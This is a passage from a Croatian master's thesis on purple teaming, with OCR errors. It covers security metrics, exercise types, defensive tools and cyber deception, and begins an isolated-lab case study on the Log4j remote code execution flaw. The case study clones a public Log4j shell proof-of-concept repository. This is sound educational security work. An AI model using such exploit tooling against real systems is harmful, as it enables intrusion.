ciljevima vjezbe, kao i 0 sigurnosnom stavu organizacije.

Takoder, postoje 1 standardne, dobro poznate metrike koje se koriste za evaluaciju

sigurnosnog stava organizacije:

Prosjec¢no vrijeme otkrivanja (engl. Mean time to detect, MTTD): prosje¢no vrijeme
potrebno da sigurnosni tim detektira sigurnosni incident. Mjeri se kao ukupno vrijeme potrebno
da tim detektira incidente u danom vremenskom periodu podijeljen s brojem incidenata. Ova
metrika koristi se za evaluaciju uc¢inkovitosti izmedu timova ili za mjerenje trenutnih nadzornih
kontrola. Na primjer, ako neki tim prijavi 10 incidenata u mjesecu, a vrijeme detekcije 1000

minuta, MTTD racuna se po formuli (1):

MTTD = = 100 minuta za detekciju Q)

1000

KoriStenjem ove metrike, mogu se pronaci nacini kako bi se smanjilo vrijeme koje

maliciozni akteri provode u sustavu organizacije.

Prosje¢no vrijeme reakcije (engl. Mean time to acknowledge, MTTA): prosje¢no

vrijeme izmedu trenutka kada sustav generira obavijest i trenutka kada zaposlenik reagira na
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obavijest. Dok MTTD mjeri vrijeme potrebno za detekciju ili obavjestavanje incidenta, MTTA

mjeri vrijeme potrebno do zapocinjanja rjeSavanja problema.

Prosje¢no vrijeme oporavka (engl. Mean time to recovery, MTTR): prosje¢no vrijeme
potrebno da se zaposlenici ili sustav vrati u normalno radno stanje. Ova metrika daje uvid u to
koliko brzo tim odgovora na incidente moZze vratiti radno stanje organizacije u normalu. Dakle,
moze se re¢i da je MTTR sveukupno vrijeme koje je sustav ili organizacija nije funkcionirala
zbog nekog sigurnosnog incidenta kroz odreden broj incidenata. Na primjer, ako je sveukupno
vrijeme nedostupnosti bio 20 minuta, a broj incidenata koji su prouzrokovali tu nedostupnost

2, znaci da se MTTR moze izracunati prema formuli (2):

20
MTTR = - = 10 minuta (2)

Ova metrika daje uvid jeli neki sustav predugo bio nedostupan. Ako je, znaci postoji

neki problem i organizacija zna gdje treba staviti fokus na daljnje istraZivanje.

Prosje¢no vrijeme za suzbijanje (engl. Mean time to contain, MTTC): daje holisticki
pogled na koliko dobro organizacija odgovara na incidente spajanjem prijasnje tri metrike. Da
bi se MTTC izracunao, uzima se suma sati potrosenih na otkrivanje, reagiranje i oporavak, tj.
efektivno vrijeme potrebno za prevenciju dodane $tete nacinjenu od zlonamjernog aktera. Na
primjer, ako je organizacija imala 2 incidenta gdje je bilo potrebno 3 sata za detekciju svakog,
2 sata za reagiranje na pojedini incident, te 5 sati pojedina¢no na oporavak, tada se MTTC

racuna se prema formuli (3):

2+2+3+3+5+5 ,
MTTC = 5 = 10 sati (3)

Dostupnost sustava: metrika koja pokazuje koliko je sustav vremena radio ispravno u

nekom vremenskom periodu, najéesée u jednoj godini, iskazuje se u postocima, npr. 90%. Sto
je postotak veci, to bolje, jer ako je postotak dostupnosti sustava ve¢i naspram prijasnjih godina,

to znaci da su mjere poduzete u meduvremenu kako bi se ta metrika poboljsala efektivne.

Sporazum o razini usluge (engl. Service level agreement, SLA): ugovor koji sadrzava
npr. ugovorenu razinu dostupnosti sustava kroz godinu i vrijeme oporavka. Sluzi kako bi se
ugovorene vrijednosti usporedile s onima iz stvarnosti te procijenio rad trece stranke s kojom
je napravljen ugovor. Ako tre¢a strana ne zadovoljava standarde, potrebno je naéi drugog

partnera.
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Prosjeéno vrijeme izmedu kvarova (engl. Mean time between failures, MTBF): mjereno
vrijeme izmedu kvarova sustava, moze se mjeriti kao ukupan broj sati tijekom kojeg je sustav
radio u nekom periodu podijeljen s brojem kvarova u tom istom periodu. Npr. ako je sustav

radio 5000 sati tijekom jednog mjeseca, a bilo je 3 kvara, MTBF se racuna po formuli (4):

5000
MTBF = — = 1667 sati izmedu kvarova 4)

U kontekstu kiberneticke sigurnosti, MTBF moze biti pokazatelj da je sustav pri kraju

svog radnog zivota te da je stoga i najslabija karika u sigurnosti organizacije, [13].

4.2. Prednosti i izazovi u primjeni ljubicastog tima
Ljubicasti tim ima nekoliko prednosti. Prije svega, poboljSava sigurnosni polozaj
organizacije redovnim provjerama. Omogucava pregled trenutne strategije kiberneticke
sigurnosti organizacije kako bi se provjerila reakcija plavog tima na napade. Crveni tim provodi
razlicite aktivnosti kako bi vidjeli sigurnosni stav organizacije. Zatim, ljubi¢asti tim omogucava
voditeljima da vide kakav povrat ulaganja (engl. Return on Investment, ROI) organizacija
dobiva za svoje troskove kiberneticke sigurnosti. Ljubicasti tim omogucava organizacijama da

se fokusiraju na prijetnje s kojima ¢e se suociti i1 kako ¢e upravljati tim prijetnjama.

Glavni cilj ljubi¢astog tima je pruziti sveobuhvatan, koordiniran pristup sigurnosti koji
kombinira napadacke i obrambene strategije. Nastoji se kontinuirano pobolj$avati sigurnosni
stav organizacije identificiranjem slabosti i praznina u obrani kroz vjezbe ljubicastog tima, te
nakon toga razvojem i implementacijom planova za njihovo rjeSenje. Neki od benefita

implementacije ljubicastog tima u organizacijama su:

e Brze jacanje ukupne kiberneticke sigurnosti: LjubiCasti tim moZe pomo¢i u
prepoznavanju ranjivosti i slabosti sigurnosnog stava organizacije. Organizacija moze
rijesiti ove probleme implementacijom boljih politika, procedura i tehnologija.

e PoboljSanje sposobnosti otkrivanja ranjivosti: LjubiCasti tim moze pomoci
sigurnosnim stru¢njacima da bolje razumiju kako napadaci razmisljaju 1 djeluju,
olakSavajuéi prepoznavanje potencijalnih ranjivosti prije nego Sto ih se iskoristi.

e Stalne povratne informacije: Ljubicasti tim pruza stalnu petlju povratnih informacija
izmedu plavih 1 crvenih timova, §to moze pomoc¢i u prepoznavanju podrucja za

poboljsanje, [14].
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4.3. Primjeri izvodenja vjezbi ljubicastog tima u organizacijama

Po misljenju autora, neki od najboljih nacina izvodenja vjezbi ljubiCastog tima u

organizacijama su sljedeci:

Baziran na scenarijima (engl. Scenario-based): vjezbe ukljucuju simulaciju stvarnih
prijetnji ili scenarija napada, koji se temelje na poznatim i stvarnim dogadajima iz
proslosti, [15].

U stvarnom okruZzenju (engl. Live-fire): vjezbe ukljuuju koriStenje stvarnih
napadackih tehnika na stvarnim sustavima u kontroliranom okruzenju, u svrhu
testiranja reakcije organizacije na stvarni napad. S obzirom na to da je ovo vrlo
realisti¢na metoda, zahtjeva veliku koli¢inu planiranja i koordinacije, a moze otkriti
stvarne slabosti u sustavu. [16].

Modeliranje prijetnji (engl. Threat modeling): vjezbe ukljucuju izradu modela
prijetnji koji predstavljaju stvarne prijetnje organizaciji. Timovi za sigurnost i razvoj
rade zajedno kako bi se identificirale slabosti u sustavu i razvile nove sigurnosne
mjere kako bi se organizacija bolje zastitila, [17].

Analiza prijetnje moze se prikazati sljede¢im dijagramom:

Napada¢ mozda
moZe ¢itati poruke
drugih korisnika
—
L] L] v v
MoZda se korisnik nije M()l;cc;a e pog&e:k}j u Moida ppstoj‘i‘gll;es.‘.ka u Mozda web pretrazivac
odjavio sa svog racuna valldacljl podataxa, EXRTE VN, LI sadrZi sadrZaj poruke u
na dijeljenom racunalu dozvoljavajuci SQL dozvoljava neovlasten R
ubacivanje pristup
: l ‘
Implementacija Implementacija provjere Implementacija Ukoliko je rizik
validacije podataka autorizacije anti-caching visok, koristi
HTTP zaglavlja SSL

Slika 7: Stablo prijetnje za slu¢aj neovlastenog pristupa poruka zaposlenika
Izvor: [18]

Vjezba ,,za stolom* (engl. Tabletop): vjezbe ukljucuju simulaciju razli¢itih scenarija
prijetnji u kontroliranom okruZenju, ali bez koristenja stvarnih sustava. Timovi za
sigurnost i razvoj zajedno rade na identifikaciji sigurnosnih problema i razvijaju nove

strategije kako bi se organizacija bolje zastitila u slu¢aju napada, [19].
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Slika 8: Dijagram pristupa vjezbi ,,za stolom*

Izvor: [20]

)

Vjezba simulacije
kriznih situacija

(CCTE)

Opcionalno
obavjestavanje

Izvjesce o
upravljanju

Kljuéne snage i
podrucja za
poboljSanje

Preporuke

Izjava za
regulatorni
certifikat o

dostavi

Procjena zrelosti

20



5. Istrazivanje alata i tehnika ljubicastog tima
Alati koji je koriste u vjezbama ljubicastog tima kombinacija su alata koje danas koriste
crveni i plavi timovi. Medutim, postoji nekoliko alata koji su napravljeni s ljubicastim timom
na umu. Neki alati su vise fokusirani na tehnicke aspekte ljubicastog tima, a neki su napravljeni
imajuci kolaboraciju i dokumentaciju na umu. U ovom poglavlju pro¢i ¢e se kroz razne alate

otvorenog koda, koji su takoder besplatni i najblize predstavljaju ideju ljubicastog tima.

Autor jo§ jednom podsjeéa na razliku izmedu emulacije zlonamjernog aktera i
simulacije zlonamjernog aktera, ali ovaj put u pogledu ljubi¢astog tima. Vazno je razumjeti
razliku, posebno Cinjenicu da je CTI (engl. Cyber Threat Intelligence) upravo ulaz koji ¢e

uciniti simulaciju realisti¢nijom i stoga ju ¢ini emulacijom.

Atomski crveni tim (engl. Atomic Red Team, ART) kolekcija je jednostavnih i
modularnih testova koje organizacije mogu koristiti za provjeru svojih sigurnosnih kontrola i
osiguravanje da njihove sposobnosti otkrivanja i odgovora djeluju ucinkovito. U kontekstu
ljubicastog tima, ART se moze koristiti kao alat za podrsku u procesu stvaranja i izvodenja
scenarija crvenog tima. ART testovi mogu se koristiti za simuliranje specifi¢nih tehnika i
taktika napada koje su poznate da ih koriste stvarne prijetnje. Crveni tim moze Koristiti te
testove za procjenu ucinkovitosti sposobnosti otkrivanja i odgovora organizacije na te tehnike.
Nakon Sto se zavrSe ART testovi, rezultati se dijele sa sigurnosnim timom. Tada se te
informacije mogu koristiti kako bi se identificirala podrucja gdje se sigurnosne kontrole
organizacije mogu poboljsati. ART testovi takoder se mogu Koristiti za potvrdu promjena

napravljenih na sigurnosnim kontrolama, kao dokaz uc¢inkovitosti, [21].

Caldera je platforma koja se moze koristiti u vjezbama ljubicastog tima za simulaciju
napada i testiranje u€inkovitosti organizacije da se obrani. Nudi raspon alata koji omogucéavaju
ljubicastom timu izvodene raznih simulacija i scenarija napada u svrhu identifikacije
potencijalne slabosti i ranjivosti u sigurnosnom stavu organizacije. Simulacijom scenarija
napada iz stvarnog svijeta, sigurnosni analitiCari mogu testirati i potvrditi svoje sigurnosne
kontrole 1 sposobnosti odgovora na incidente. Neki od primjera napade koje Caldera moze

simulirati su napad zlonamjernim softverom, napad krade identiteta, [22].

VECTR je platforma koja se koristi u ljubi¢astom timu za vizualizaciju i analizu cyber
kill chain-a. Pruza okvir za organiziranje podataka o razli¢itim fazama napada i analizu uzoraka

napada. VECTR se Cesto koristi za podrsku stvaranju modela prijetnji i simuliranje napada na
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te modele. VECTR je osmi$ljen za promicanje transparentnosti izmedu napada i obrane,
poticanje obuke izmedu ¢lanova tima i1 poboljSanje stope uspjesnosti otkrivanja i prevencije

kibernetickih napada u cijelom okruZenju organizacije, [23].

Picus Security je platforma koja se koristi u ljubi¢astom timu za kontinuiranu validaciju
sigurnosti. Omogucava sigurnosnim timovima da provjere svoje obrane protiv stvarnih prijetnji
te otkriju i odrede prioritete ranjivosti prije nego Sto one mogu biti iskoriStene. Kod ljubicastog
tima, Picus security moZe se koristiti za simuliranje napada i procjenu u¢inkovitosti defenzivnih
kontrola. Rezultati tih simulacija se zatim mogu koristiti za poboljSanje sigurnosnog Stava

organizacije i optimizaciju raspodjele resursa za bolje sigurnosne rezultate, [24].

Ovo su bili neki od alata koji su korisni kako bi se poboljSala sigurnost organizacije, ali
se skoro nikad ne koriste samostalno, nego u sklopu paketa alata. Sada ¢e se predstaviti
relativno nova ideja u kibernetickoj sigurnosti, kiberneticko zavaravanje (engl. Cyber
deception). Nije pitanje hoce li neki zlonamjerni akter pokuSati kompromitirati resurse
organizacije, nego kada. Stoga, autor ovog rada smatra da je kiberneticko zavaravanje puno
realisti¢nija strategija obrane nego klasi¢ni pristup plavog tima, gdje je cilj u potpunosti

zaustaviti scenarij kompromitiranja organizacije na prvom mjestu.

Kiberneticko zavaravanje defenzivna je strategija koja uklju¢uje namjerno postavljanje
1 rasporedivanje zavaravajuc¢ih elemenata unutar mreze organizacije kako bi se otkrili, odvratili
i prevarili potencijalni zlonamjerni akteri. Cilj ove strategije je povecati troskove resursa i
vremena zlonamjernog aktera tako $to ih se vodi u zamke i zavaravanje, dok istovremeno pruza

rane znakove neovlastene aktivnosti.

Koncept je jednostavan: kiberneticko zavaravanje djeluje na principu obmanjivanja
zlonamjernog aktera tako Sto im se predstavljaju lazne informacije, te ih se potice da stupaju u
interakciju s mamcem sustava, mreze ili podataka. Glavni ciljevi su rano otkrivanje napada,
prikupljanje prijetnji, odgadanje napada, odvracanje njihove paznje i dobivanje uvida u njihove
taktike, tehnike i motivacije. Obmanjujuci elementi (lazne informacije) mogu poprimiti
razlicite oblike, poput laznih rac¢una, izmisljenih podataka, laznih vjerodajnica, honey tokena,
honeypot-ova i krusnih mrvica (engl. breadcrumbs). Ti elementi su dizajnirani da oponasaju

stvarnu imovinu i poti¢u zlonamjerne aktere da se s njom angaziranju.
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Honeypots su izolirani sustavi ili mreze namjerno stvoreni kako bi privukli zlonamjerne
aktere. Izgledaju ranjivo kako bi odvratili zlonamjerne aktere od kriticne imovine, kupujuci

vrijeme za defenzivni tim da promatraju njihovo ponasanje i prikupljaju obavjestajne podatke.

Decoy sustavi, s druge strane, mogu se rasporediti uz stvarne sustave kako bi se

zlonamjerni akteri zbunili i tako otezali razlikovanje stvarne i lazne imovine.

Na sljedecoj slici prikazan je lanac kibernetickog zavaravanja koji ¢e pomo¢i u
razumijevanju zivotnog ciklusa ove operacije. Opisuje razlicite faze ukljucene u provedbu

uspjesne strategije kiberneti¢kog zavaravanja.

v
a N a N
Svrha Izvrsavanje
N J & J
A A
a 0 a )
Prikupljanje podataka Nadzor
0 prijetnjama - J
S Y, .
4 N
. Unaprjedenje
[ Plan } - J
A
[ Priprema
L |

Slika 9: Lanac kiberneti¢kog zavaravanja
Izvor: [25]

1) Svrha: Pocetna faza gdje se definiraju strateski, operativni i takti¢ki cilj za operacije
zavaravanja, tj. svrha zavaravanja, te Kkriteriji Kkoji bi ukazivali na uspjeh
zavaravanja.

2) Prikupljanje podataka o prijetnjama: Definira se ocekivano ponasanje zlonamjernih
aktera. Pomaze utvrditi uspjesnost zavaravanja.

3) Plan: Analizira karakteristika stvarnog dogadaja, identifikacija odgovarajuéih
potpisa (engl. signatures) zlonamjernog aktera, te planiranje taktika zavaravanja
(maskiranje, prepakiranje, oznacavanje itd.). Takoder se analiziraju obiljezja

zamisljenih dogadaja i aktivnosti koje se moraju prikazati i promatrati.

23



4)

5)

6)

7)

Priprema: Dizajniraju se zeljeni perceptivni i kognitivni uéinci na zlonamjernog
aktera i istrazivanje dostupnih sredstva i resursa za stvaranje tih ucinaka.
Izvrsavanje: Koordinacija 1 kontrola svih relevantnih operacija kako bi se dosljedno,
vjerodostojno i u¢inkovito izvrSila strategija zavaravanja.

Nadzor: Planeri suraduju s analitiCarima obavjestajnih podataka o kibernetickim
prijetnjama. To podrazumijeva pracenje defenzivnih i neprijateljskih operativnih
priprema, izvore odabrane za prenoSenje zavaravanja zlonamjernog aktera itd.
Unaprjedenje: Ako se ukazuje na to da trenutne taktike zavaravanja nemaju Zeljeni
uc¢inak na zlonamjernog aktera, potrebno je unaprijediti taktike i ponovno razmotriti

prvu fazu lanca zavaravanja, izvrSavanje sigurnosnog zavaravanja ili plan, [25].
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6. Studija slucaja

U ovoj cjelini proveden je prakti¢ni dio diplomskog rada u kojem je postavljeno
virtualno okruzenje koje se sastoji od dvije virtualne masine, gdje jedna predstavlja crveni tim,
adruga plavi tim. Crveni tim simulira zlonamjernog aktera, a u ovom slucaju, plavi tim simulira
zrtvu kiberneti¢kog napada — organizaciju, tj. njene resurse. Za potrebe izvodenja prakti¢nog
dijela koriStena su saznanja iz prijaSnjih poglavlja. Cilj prakticnog dijela je prikazati
iskoriStavanje vrlo poznate ranjivosti Log4j koja se dogodila krajem 2021. godine. Ranjivost
Log4j predstavlja ozbiljnu kriti¢nu ranjivost daljinskog izvrSavanja koda (engl. Remote code
execution, RCE). Log4j moze utjecati na bilo koju Java aplikaciju koja ukljucuje biblioteku
Log4j verziju 2.15 ili stariju. Ovaj softver koristi se za snimanje raznih vrsta aktivnosti koje se
odvijaju ispod haube u Sirokom rasponu racunalnih sustava. Upravo ova studija slucaja
pokazuje zasto je bitno azurirati sustave s najnovijim sigurnosnim zakrpama i najnovijim

verzijama softvera.

U nastavku ¢e se opisati proces podizanja virtualnih masina, instalaciju i postavljanje

ranjive aplikacije te sami proces iskori§tavanja ranjivosti.

6.1. Napadacka virtualna masina
U svrhu izvodenja ove vjezbe, koristit ¢e se Kali Purple distribucija Linuxa za
napadacku masinu. Za potrebe virtualizacije koristit ¢e se Oracle VM VirtualBox Manager koji
omogucuje stvaranje i koriStenje virtualnih maSina. Instalacija samog programa je standardna 1
nece se opisati. Kreirane virtualne masine su u izoliranom okruzenju i mogu sadrZavati razli¢ite

operativne sustave. Neke od znacajka ovog alata su:

e Mogucénost podizanja razli¢itih operativnih sustava kao $to su Windows, Linux ili
MacOS na svaku pojedinu virtualnu masinu, gdje sve mogu istovremeno raditi

e S obzirom na to da su masine u izoliranom okruzenju Cesto se koriste za potrebe
razvoja i testiranja aplikacija kroz razne operativne sustave. Jo$ jedan benefit
izoliranog okruZenja je moguc¢nost testiranja potencijalno zlonamjernog softvera bez
utjecaja na ostatak rac¢unala

e Mogucnost koriStenja zastarjelih aplikacija kroz zastarjele operativne sustave, npr.
u slucaju testiranja aplikacije koja radi isklju¢ivo na Windows XP operativnom
sustavu

e KoriStenje u edukacijske svrhe
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e Sigurnosne kopije - u slucaju da virtualna masina prestane raditi iz bilo kojeg
razloga, moguée ju je vratiti u prijaSnje stanje izradom sigurnosnih Kkopija.
Sigurnosne kopije pozeljno je kreirati redovito kako bi se izgubilo $to manje
podataka

e Simulacija mreza - Oracle VM ima moguc¢nost kreiranja virtualnih mreza, Sto je

prikladno za testiranje raznih mreznih topologija

Prije postavljanja virtualnih masina, potrebno je kreirati i postaviti VLAN (engl. Virtual
Local Area Network).

N¢ Oracle VM VirtualBox Manager — O w

Eile Machine Network Help
l I: ' i :
Create Remove Properties

Host-only Networks NAT Metworks Cloud Networks

9 Kali Purple
p
, =) Running

@’ Ubuntu 22.04.2 LTS

=) Running

Name “ IPv4 Pr IPv6 Prefix DHCP Server
VirtualBox Host-Only Ethernet Adapter 192, 24 Enabled

B, @ tomcat
, (@) Powered Off

Slika 10: Kreiranje novog VLAN-a
AKOo ne postoji ve¢ kreiran VLAN, potrebno ga je kreirati i pravilno postaviti, kao $to je
vidljivo na slici 10. Virtualna lokalna mreza je potrebna kako bi se virtualne masine mogle
,»vidjeti“, tj. kako bi napadac¢ka masina mogla izvr$avati napade na ranjivu masinu. Nakon toga,

potrebno je kreirati napadacku masinu.

Kali Linux jedan je od najpopularnijih distribucija Linux-a za potrebe raznih operacija
kiberneticke sigurnosti, poput forenzicke analize, penetracijskog testiranja, analize mreZnih

podataka, testiranje sigurnosti bezi¢nih mreza i web aplikacija, probijanja lozinki itd.

Kali Linux moguce je koristiti na raznim uredajima kao §to su radne stanice, posluZitelji,
osobna racunala, mobilni uredaji itd. Alati koji su dostupni na ovoj distribuciji Linuxa su

mnogobrojni te ih se moze podijeliti na sljedece grupe alata:

e Digitalna forenzika - alati za analizu sistemskih log-ova, proucavanje digitalnih

dokaza, povratak izgubljenih podataka te odgovora na incidente.
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e IskoriStavanje ranjivosti - alati koji pomazu u procesu preuzimanja kontrole nad
ranjivim uredajem, sustavom ili aplikacijom. Naj¢eS¢e se to postize podizanjem
razine pristupa.

e Socijalni inzenjering - alati koji omogucéuju razne vektore napada s ciljem krade
identiteta ili dobivanja informacija.

e Izvjes¢ivanje - prikupljanje svih relevantnih informacija potrebnih za izradu
dokumentacije i izvjestaja.

e Obrnuti inzenjering - alati koji pomazu u simulaciji zlonamjernog aktera ili za
identifikaciju ranjivosti sustava, a za defenzivne svrhe Koriste se za analizu
zlonamjernog softvera

e Probijanje lozinki - alati koji se koriste za probijanje korisni¢ke lozinke, poput
napada grubom silom ili napada pomocu rje¢nika, [26].

!‘j Oracle VM VirtualBox Manager — 0 b

File Machine Help

1 = & NN %4

Preferences ~ Import Export New  Add

B, & Kali Purple Welcome to VirtualBox!

=% Running The left part of application window contains global tools

and lists all virtual machines and virtual machine groups
computer. You can import, add and create new
@- Ubuntu 22.04.2 LTS VI corresponding toolbar bu u can popup
=) Running a f currently selected element using corresponding
element button.

the F1 key to get instant help, or visit

&, tomcat - B )
. rg for more information and latest news.

@) Powered Off

Slika 11: Oracle VM VirtualBox

Kao §to je i ranije spomenuto, za napadacku masinu koristi se Kali Linux. Razlog zasto
se koristi je zbog unaprijed instaliranih alata koji ¢e se koristiti u ovoj studiji slu¢aja. Kali Linux

je distribucija otvorenog koda, te je popularan izbor za svrhe kiberneticke sigurnosti.

Na slici 11 vidljiv je izbornik kreiranih virtualnih masina unutar Oracle VM Virtualbox
softvera. Osim §to je virtualne masine moguce kreirati, moguce ih je u uvesti, tj. odredene
distribucije moguce je direktno uvesti u Oracle VM Virtualbox jer su specifi¢no kreirane za taj
softver. To znacajno olakSava proces kreiranja, jer ga se ustvari kompletno preskace. U ovom
izborniku je takoder moguce urediti postavke pojedine virtualne masine, kao Sto su dodijeljeno

ime, racunalni resursi, virtualna sucelja itd.
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W# Create Virtual Machine ? ¥

Virtual machine Name and Operating System

Please choose a descriptive name and destination folder for the new virtual machine. The name you choose wiill
¢ to identify this machine. Additionally, you can select an ISO image which may be
used to install the guest operating system.
MName: Attacker (Kali)

Folder: l C s\epauluk\OneDrive - Er \Oracle VMs

ISO Image: (C:\ s\epauluk\Downloads\kali-linux-2023-W22-installer-purple-amd64.iso

) Detected OS type: Ubuntu (64-bit). This OS type cannot be installed unattendedly. The install
needs to be started manually.

Help Expert Mode

Slika 12: Imenovanje virtualne masine

Na slici 12 vidljiv je prozor u procesu kreiranja napadacke virtualne masine, gdje je
potrebno unijeti naziv, direktorij u kojem ¢ée se nalaziti virtualna masina, koja 1SO slika

(operativni sustav) ¢e se instalirati na masinu itd.

,h‘j' Create Virtual Machine ? »

Hardware

You can modify virtual machine's hardware by changing amount of RAM and virtual CPU count.
Enabling EFL is 0

Base Memory: 2048 MB

16384 MB

1 CFU

Enable EFI (special OSes only)

Help

Slika 13: Dodjeljivanje koli¢ine RAM-a i procesorskih jezgri

Na slici 13 vidljiv je prozor postavljanja virtualnog hardvera, tj. resursa kojima ce
virtualna masina pristupati. Potrebno je dodijeliti dovoljno racunalnih resursa za gladak rad.
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NF Create Virtual Machine ? b

Virtual Hard disk
If you wish you can add a virtual hard disk to the new machine. You can either create a new hard
disk or select ) g one. Alternatively you can create a virtual machine without a virtual
hard d
® Create a Virtual Hard Disk Now
Disk Size: 25,00 GB
4,00 MB 2,00 TB

Pre-allocate Full Size

Use an Existing Virtual Hard Disk File

Do Mot Add a Virtual Hard Disk

Help

Slika 14: Dodjeljivanje koli¢ine prostora tvrdog diska

Na slici 14 vidljiv je jo$ jedan bitan korak, a to je kreiranje virtualnog tvrdog diska koji
¢e virtualna masina koristiti. Potrebno je postaviti dovoljno velik virtualni disk kako bi se
operativni sustav mogao ispravno instalirati, te da ima mjesta i za ocekivane programe koji ¢e
se naknadno instalirati. Na slici 15. moze se primijetiti kako je kreirana nova virtualna masina
i sve njene specifikacije.

N# Oracle VM VirtualBox Manager — O %

File Machine Help

] e 4 o

New  Add Settings

Gel 1
m, Kali Purple L Genera
, =» Running Name: Attacker (

Operating System: Ubuntu (6

EF’ Ubuntu 22.04.2 LTS

=» Running

Attacker (Kali)

Fl

O, @ tomcat Disk
, @) Powered Off Acceleration:  Nested Paging, KVM

aravirtualization
® [ ois
play
, O

Video Memory:

Recording: Disabled

ﬂ Storage
Controller: IDE
IDE Secondary Device 0: [Optical Drive] kali-linux-2 W22-installer-purple-amd64.
GB)

Controller: SATA
Slika 15: Pregled nove virtualne masine
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Attacker (Kali) [Running] - Oracle VM VirtualBox — O x>

File Machine View Input Devices Help

AT NGIK

Kali Linux installer menu (BIOS mode)

Graphical install

Install

Advanced options

Accessible dark contrast installer menu
Install with speech synthesis

Press a key, otherwise speech synthesis will be started in 3 seconds...

Slika 16: Instalacija Kali Linux-a

Slika 16 prikazuje prvi korak kod podizanja operativnog sustava. Nakon toga potrebno

je odabrati jezik koji ¢e operativni sustav Koristiti, te je potrebno odabrati regiju, lokaciju,
jeziéni paket i jezik tipkovnice.

Takoder je potrebno odabrati primarno mrezno sucelje koji ¢e se Koristiti prilikom
instalacije, u ovom slucaju odabran je ethO jer on nije u virtualnoj mreZzi i dozvoljava pristup

internetu, a ethl je mrezno sucelje unutar VLAN-a koje je prethodno postavljeno. Zatim se
postavljaju korisni¢ko ime i lozinka.
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B kali@kali: ~/Desktop Q
File Actions Edit View Help

—( kali® kali)-[~/Desktop]
% ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN group def
ault glen 19000
link/loopback 90:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.9.98.1/8 scope host lo
valid_1ft forever preferred_l1ft forever
ineté ::1/128 scope host
valid_1ft forever preferred_l1ft forever
2: eth@: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1508 gdisc fg_codel state g
roup default glen 1008
link/ether 98:00:27:0b:6a:50 brd ff:ff:ff:ff:ff:ff
inet 10.9.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute eth®
valid_1ft 86316sec preferred_1ft 86316sec
ineté fe80::a00:27ff:fe@b:6a50/64 scope link noprefixroute
valid_1ft forever preferred_1ft forever
3: ethl: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1508 qdisc fq_codel state g
roup default glen 1008

link/ether 08:00:27:c1:dd:31 brd ff:ff:ff:ff:ff:ff
inet 192.168.56.106/24 brd 192.168.56.255 scope global dynamic noprefixro
ute ethl

valid_1ft 591sec preferred 1ft 591sec
ineté fe80::279d:a531:b267:fc74/64 scope link noprefixroute
valid_1ft forever preferred_l1ft forever

Slika 17: Pregled mreznih sucelja unutar Kali Linux-a

Na slici 17 moze se primijetiti kako virtualna masina ima dva mrezna sucelja, a mrezno
sucelje unutar VLAN mreze lako je upecatljivo zbog dodijeljene IP adrese. Kljuc¢na rije¢ UP
pokazuje da je mrezno sucelje aktivno. Sada je moguce preuzeti GitHub repozitorij koji sadrzi

ranjivu web aplikaciju, kao $to je vidljivo na slici 18. Ime preuzetog direktorija je ,,log4j-shell-

13

poc*.

- | kali@kali: ~/Desktop/logdj-shell-poc
File Actions Edit View Help

—(kali® kali)-[~/Desktop]

—% git clone https://github.com/kozmer/logsj-shell-poc
Cloning into 'log4j-shell-poc' ...

remote: Enumerating objects: 52, done.

remote: Counting objects: 100% (5/5), done.

remote: Compressing objects: 100% (5/5), done.

remote: Total 52 (delta ®), reused 1 (delta ®), pack-reused 47
Receiving objects: 100% (52/52), 38.58 MiB | 14.85 MiB/s, done.
Resolving deltas: 100% (7/7), done.

—( kali® kali)-[~/Desktop]
—% cd loghj-shell-poc

—(kali® kali)-[~/Desktop/log4j-shell-poc]
L g 1s

Dockerfile requirements.txt wulnerable-application
LICENSE README.md target

Slika 18: Preuzimanje repozitorija za studiju slucaja

Nakon pozicioniranja u preuzeti direktorij, naredbom ,,Is* mogu se prikazati datoteke i
pod-direktoriji. Tekstualna datoteka ,,requirements.txt* sadrzi popis potrebnih biblioteka kako

bi se ova vjezba uspjesno izvela, a otvaranjem te datoteke moze se vidjeti da su to biblioteke
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Colorama i Argparse. Colorama je biblioteka koja olaks$ava stvaranje i upravljanje bojama i
stilovima ispisa u konzolnim aplikacijama. Argparse je biblioteka za analizu argumenata
naredbenog retka. Koristi se za olakSavanje obrade i upravljanja argumentima koje korisnik
unosi prilikom pokretanja Python skripte putem naredbenog retka. Ova biblioteka
pojednostavljuje upotrebu i upravljanje naredbenim argumentima u Python skriptama. Stoga je

potrebno instalirati spomenute biblioteke, kao §to je prikazano na slici 19.

=il kali@kali: ~/Desktop/logdj-shell-poc ‘
File Actions Edit View Help

kali® kali)-~/Desktop/log4j-shell-poc

$ - ip install -r requirements.txt
[sudo] password for kali:
Requirement already satisfied: colorama in /usr/lib/python3/dist-packages (fr
om -r requirements.txt (line 1)) (0.4.6)
Collecting argparse

Downloading argparse-1.4.0-py2.py3-none-any.whl (23 kB)
Installing collected packages: argparse
Successfully installed argparse-1.4.0

Slika 19: Instalacija biblioteka

6.2. Ranjiva virtualna masina

Postupak postavljanja ranjive virtualne masine puno je laksi zato $to postoji mogucnost
automatiziranog podizanja operativnog sustava, kao $to je vidljivo na slici 20. Za ovu svrhu
koristi se Ubuntu operativni sustav. Ubuntu je operativni sustav otvorenog koda, baziran je na

Debianu, isto kao i Kali Linux, te je solidan izbor za operativni sustav ranjive virtualne masine.

N# Create Virtual Machine ? X

Virtual machine Name and Operating System

Please choose a descriptive name and destination folder for the new virtual machine. The name you choose will
be throughout Virt . to identify this machine. Additionally, you can select an ISO image which may be
used to install the guest operating system.

Mame: Vulnerable machine (Ubuntu)

Folder: l C:\Users\epauluk\OneDrive - Ericsson\Oracle VMs

IS0 Image: . C:\ s\epauluk\Downloads\ubuntu-22.04.2-desktop-amd64.iso

Skip Unattended Installation

€ Detected OS5 type: Ubuntu (64-bit). This 05 type can be installed unattendedly. The install will
Slika 20: Imenovanje Ubuntu virtualne masine
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Zatim je potrebno dodijeliti koli¢cinu RAM memorije i procesorskih jezgri koje ¢e
virtualna masina imati na raspolaganju, te korisni¢ko ime i lozinku. Ostatak izrade virtualne
masine identican je kao i kod postavljanja napadacke masine. Kao §to je ve¢ spomenuto,
podizanje Ubuntu operativnog sustava je u potpunosti automatiziran proces, $to znatno ubrzava

cijeli proces.

Nakon uspjesnog podizanja operativnog sustava, moze se primijetiti kako je operativni
